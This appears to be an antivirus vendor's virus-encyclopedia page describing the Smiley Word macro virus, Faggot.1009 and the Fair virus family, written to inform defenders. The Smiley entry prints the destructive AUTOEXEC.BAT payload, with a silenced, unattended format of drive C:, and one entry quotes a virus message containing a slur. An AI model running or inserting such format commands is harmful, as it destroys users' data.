Virus Database

Macro.Word.Smiley

Description Macro.Word.Smiley

This is an encrypted Word macro virus. It contains 8 macros in both NORMAL.DOT and infected files:
Timer, AutoExec, AutoExit, AutoOpen, DateiSpeichern, DateiSpeichernUnter,
DateiDrucken, DateiDruckenStandard

On AutoOpen the virus infects the system, on saving a file (DateiSpeichern, DateiSpeichernUnter) the virus infects it.
On AutoExec the virus creates the parameter "Smiley=" in WIN.INI file in [windows] section, and writes current date to there. On each start the virus checks that parameter, and on 14th day after infection sets new values for menu Tools/Options/UserInfo:
Name: Smiley Corporation
Initials: SC
Address: Greenpeace

These data then will be written to any document while editing.
The virus deletes menu items if they exist:
Datei/Makroall
Datei/Dokumentvorlage...
Ansicht/Symbolleisten...
Extras/Anpassen...

On 56th day the virus overwrites C:AUTOEXEC.BAT with the text that on execution will display the messages and format the hard drive:
@ECHO OFF
CLS
ECHO Achtung !!! Stoppt alle Atomversuche !!!
Atomversuche bedeuten unseren sicheren Tod !!!
ECHO Achtung !!! Stoppt die Abholzung der Tropenwälder !!!
Kauft nie Gegenstände aus Tropenholz !!!
ECHO Achtung !!! Stoppt den Treibhauseffekt !!!
Er führt zu einer tödlichen Klimaveränderung !!!
ECHO.
ECHO (C) Smiley Corporation
ECHO.
ECHO !!! ABER JETZT IST ES ZU SPÄT !!!
ECHO.
CTTY NUL
C:DOSFORMAT.COM C: /U /AUTOTEST
C:WINDOWSCOMMANDFORMAT.COM C: /U /AUTOTEST

On 28th day the virus activates its Timer macro and calls it once per minute. On each call this macro creates the Toolbar button "Smiley" that displays one of the texts:
ACHTUNG !!! STOPPT ALLE ATOMVERSUCHE !!!
ATOMVERSUCHE BEDEUTEN UNSEREN SICHEREN TOD !!!
ACHTUNG !!! STOPPT DIE ABHOLZUNG DER TROPENWÄlDER !!!
KAUFT NIE GEGENSTÄNDE AUS TROPENHOLZ !!!
ACHTUNG !!! STOPPT DEN TREIBHAUSEFFEKT !!!
ER FÜHRT ZU EINER TÖDLICHEN KLIMAVERÄNDERUNG !!!

On AutoExit the virus displays the text: Achtung !!! Stoppt alle Atomversuche !!! Atomversuche bedeuten unseren sicheren Tod !!! Achtung !!! Stoppt die Abholzung der Tropenwälder !!! Kauft nie Gegenstände aus Tropenholz !!! Achtung !!! Stoppt den Treibhauseffekt !!! Er führt zu einer tödlichen Klimaveränderung !!! © Smiley Corporation On printing (DateiSpeichern and DateiDruckenStandard) the virus adds the same text to the end of document.

Check other viruses! Be aware! Use Antiviral Software

Faggot.1009

Description Faggot.1009

It is a non memory resident very dangerous virus which infects .COM-files of current directory and directories listed in PATH. It formats the first tracks of all disks, erases contents of some sectors, types the text: "Drive Fucked Up by the Anti-Faggot Virus! Hey you! I am the anti-faggot virus!! Insert your fingers in the ears and eat something! Excuse meall..now I must fuck up your disk!! I am sorry!".

Fair Family

Description Fair Family

These are not dangerous memory resident encrypted parasitic viruses. They hook INT 21h and write themselves to the end of COM and EXE files that are accessed.
Fair.2083
While executing some file (the virus checks the beginning of the file), the virus displays the message:
This is an [ illegal copy ] of KeyPress virus remover
System Halted

This virus also contains the text:
Eternal Fair

Fair.2340
This virus does not infect the files SCAN.EXE and COMMAND.COM. When the virus intercepts the access to an already infected file, it increases its internal counter. When that counter reaches 800h, the virus displays:
Time Machine, Running.

Home